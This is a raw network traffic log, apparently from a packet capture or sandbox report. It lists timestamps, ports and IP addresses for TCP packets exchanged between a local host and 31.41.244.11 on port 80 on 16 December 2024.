Dec 16, 2024 13:16:13.923832893 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.923855066 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.923882008 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.923906088 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.924647093 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.924866915 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.924918890 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.925842047 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.925894022 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.925995111 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.926043034 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.926722050 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.926881075 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.926930904 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.927545071 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.927592993 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.927666903 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.927712917 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.927892923 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.927939892 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.929179907 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.929234982 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.929827929 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.929877043 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.929975033 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.930022001 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.930835009 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.930882931 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.931004047 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.931057930 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.931651115 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.931700945 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.931837082 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.931883097 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.932501078 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.932528973 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.932554960 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.932573080 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.933516026 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.933528900 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.933568954 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.933686972 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.933909893 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.933955908 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.934652090 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.934778929 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.934834957 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.935625076 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.935720921 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.935750008 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.935798883 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.936590910 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.936646938 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.936717033 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.936760902 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.937556028 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.937607050 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.937678099 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.937725067 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.938512087 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.938580990 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.938641071 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.939498901 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.939555883 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.939692020 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.939748049 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.940460920 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.940507889 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.940568924 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.940613031 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.941442966 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.941500902 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.941513062 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.941550016 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.942393064 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.942509890 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.942574024 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.943500042 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.943555117 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.943618059 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.943670034 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.944307089 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.944365978 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.944427013 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.944467068 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.947976112 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.947989941 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.948002100 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.948014021 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.948025942 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.948045969 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.948046923 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.948091030 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.948118925 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.949008942 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.949035883 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.949095964 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.949834108 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.949882984 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.950041056 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.950994015 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.951008081 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.951046944 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.951071978 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.951776981 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.951953888 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.951997995 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.952663898 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.952712059 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.952933073 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.952984095 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.953768015 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.953794956 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.953814983 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.953839064 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.954719067 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.954893112 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.954960108 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.955544949 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.955596924 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.955696106 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.955751896 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.956542015 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.956599951 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.956677914 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.956726074 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.957669973 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.957694054 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.957722902 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.957732916 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.958631039 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.958822012 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.958874941 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.959506035 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.959558010 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.959651947 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.959784031 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.960468054 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.960616112 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.101908922 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.101991892 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.102180958 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.102180958 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.102346897 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.102395058 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.102514029 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.102557898 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.102718115 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.102765083 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.103722095 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.103735924 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.103774071 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.104253054 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.104268074 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.104314089 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.105084896 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.105099916 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.105130911 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.105156898 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.105794907 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.105807066 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.105849028 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.106178999 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.106276989 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.106348038 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.106389999 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.107028008 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.107140064 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.107418060 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.108093977 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.108195066 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.108274937 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.109026909 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.109081030 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.109292030 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.109343052 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.110019922 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.110069990 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.110099077 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.110142946 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.110882998 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.110935926 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.110968113 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.111013889 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.112037897 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.112091064 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.112092018 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.112143040 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.112807035 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.112854958 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.112927914 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.112973928 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.113780975 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.113833904 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.113882065 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.113928080 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.114737034 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.114789009 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.114856005 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.114901066 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.115742922 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.115793943 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.115863085 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.115907907 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.116678953 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.116733074 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.116764069 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.116811037 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.117624998 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.117679119 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.117743015 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.117788076 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.118643045 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.118689060 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.119110107 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.119158983 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.122389078 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.122404099 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.122415066 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.122426033 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.122437000 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.122451067 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.122473001 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.122519970 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.123308897 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.123478889 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.123538017 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.124296904 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.124351978 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.124452114 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.124497890 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.125252008 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.125303984 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.125417948 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.125463963 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.126240015 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.126415968 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.126470089 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.127244949 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.127298117 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.127409935 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.127455950 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.128134966 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.128149033 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.128181934 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.128196001 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.129100084 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.129261971 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.129337072 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.130076885 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.130091906 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.130140066 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.131186962 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.131200075 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.131242037 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.132009029 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.132147074 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.132205963 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.132963896 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.133016109 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.133120060 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.133166075 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.133807898 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.133857965 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.133979082 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.134027004 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.134860992 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.134912968 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.135010004 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.135056973 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.135879040 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.135930061 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.136054993 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.136101961 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.136765003 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.136818886 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.136909962 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.136960030 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.137788057 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.137841940 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.137928009 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.137972116 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.138854980 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.138868093 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.138930082 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.139816046 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.139830112 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.139872074 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.139899015 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.140599012 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.140769958 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.140822887 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.141659975 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.141719103 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.141774893 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.141823053 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.142694950 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.142751932 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.142796993 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.142859936 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.143549919 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.143606901 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.143663883 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.143707037 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.144526005 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.144540071 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.144578934 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.144740105 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.144787073 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.144809008 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.144855022 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.145688057 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.145741940 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.145800114 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.145843983 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.146732092 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.146791935 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.146801949 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.146852970 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.147870064 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.147931099 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.148091078 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.148138046 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.148749113 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.148802042 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.148839951 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.148885012 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.149571896 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.149626970 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.149638891 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.149681091 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.150491953 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.150546074 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.150579929 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.150628090 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.292608023 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.292675972 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.292874098 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.292912006 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.292980909 CET	49711	80	192.168.2.8	31.41.244.11
